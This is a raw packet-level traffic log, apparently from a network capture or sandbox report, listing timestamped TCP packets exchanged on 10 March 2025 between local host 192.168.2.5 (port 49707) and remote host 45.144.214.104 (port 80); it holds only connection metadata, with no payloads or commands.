Mar 10, 2025 18:02:09.354440928 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354458094 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354485989 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354516029 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354520082 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354546070 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354552984 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354574919 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354603052 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354631901 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354640961 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354670048 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354674101 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354701996 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354729891 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354743004 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354773045 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354814053 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354818106 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354840994 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354870081 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354881048 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354916096 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354955912 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.354958057 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.354984045 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355010986 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355036020 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355055094 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355062008 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355076075 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355091095 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355118036 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355145931 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355155945 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355171919 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355180025 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355201006 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355226994 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355238914 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355268955 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355297089 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355318069 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355331898 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355360031 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355370998 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355389118 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355417967 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355432034 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355467081 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355490923 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355504036 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355567932 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355608940 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355609894 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355638027 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355664968 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355679035 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355694056 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355720043 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355727911 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355747938 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355775118 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355793953 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355803013 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355829954 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355839014 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355858088 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355885029 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355894089 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355914116 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355940104 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355957985 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.355971098 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.355998039 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.356004953 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.356025934 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.356054068 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.356067896 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.356082916 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.356108904 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.356127024 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.406582117 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.438703060 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438733101 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438755989 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438767910 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438785076 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438786983 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.438797951 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438808918 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438822985 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438823938 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.438831091 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438853025 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.438879967 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.438904047 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438915968 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438927889 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438941956 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438945055 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.438963890 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.438972950 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438986063 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.438998938 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439009905 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439023972 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439028978 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439037085 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439042091 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439053059 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439064980 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439071894 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439102888 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439121008 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439137936 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439151049 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439157009 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439165115 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439188004 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439210892 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439224005 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439240932 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439255953 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439256907 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439277887 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439301014 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439312935 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439342976 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439354897 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439367056 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439377069 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439384937 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439420938 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439446926 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439457893 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439469099 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439481020 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439491034 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439491987 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439516068 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439518929 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439553976 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439560890 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439671040 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439682961 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439693928 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439701080 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439704895 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439721107 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439726114 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439733982 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439749002 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439754963 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439790964 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439939022 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439950943 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439963102 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439974070 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439984083 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.439985991 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.439995050 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440004110 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.440007925 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440021992 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440028906 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.440033913 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440047979 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440058947 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.440063000 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440076113 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440089941 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.440126896 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.440156937 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440167904 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440180063 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440192938 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440203905 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440205097 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.440216064 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.440232992 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.440249920 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.476511955 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.476531029 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.476545095 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.476561069 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.476582050 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.476613998 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.476927042 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.476950884 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.476965904 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.476989031 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477019072 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477036953 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477051020 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477051973 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477067947 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477088928 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477098942 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477134943 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477138996 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477150917 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477165937 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477180004 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477183104 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477214098 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477226019 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477238894 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477253914 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477282047 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477291107 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477317095 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477319956 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477332115 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477348089 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477359056 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477391958 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477415085 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477420092 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477428913 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477468014 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477490902 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477598906 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477612972 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477627039 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477632046 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477648973 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477663994 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477667093 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477679014 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477691889 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477695942 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477721930 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477760077 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477773905 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477788925 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477802992 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477806091 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477833986 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477850914 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477864981 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477880955 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477905035 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477912903 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477926970 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477941036 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477942944 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477956057 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477969885 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477974892 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.477983952 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.477998972 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478007078 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.478046894 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.478071928 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478085995 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478100061 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478113890 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478116035 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.478127956 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478142977 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478142977 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.478159904 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478173971 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478177071 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.478188038 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.478203058 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.496572971 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531008959 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531037092 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531058073 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531064034 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531071901 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531092882 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531099081 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531114101 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531126976 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531136036 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531148911 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531163931 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531174898 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531177044 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531194925 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531198025 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531210899 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531233072 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531243086 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531248093 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531264067 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531269073 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531279087 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531295061 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531301022 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531316996 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531337976 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531378984 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531393051 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531407118 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531409025 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531428099 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531436920 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531443119 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531459093 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531480074 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531480074 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531496048 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531513929 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531549931 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531554937 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531575918 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531590939 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531604052 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531608105 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531620026 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531640053 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531682968 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531697035 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531718969 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531718969 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531750917 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531817913 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531831026 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531845093 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531858921 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531863928 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531876087 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531891108 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531894922 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531907082 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531929016 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531944990 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531959057 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.531975985 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.531997919 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532012939 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532027006 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532035112 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532071114 CET	49707	80	192.168.2.5	45.144.214.104
Mar 10, 2025 18:02:09.532087088 CET	80	49707	45.144.214.104	192.168.2.5
Mar 10, 2025 18:02:09.532100916 CET	80	49707	45.144.214.104	192.168.2.5
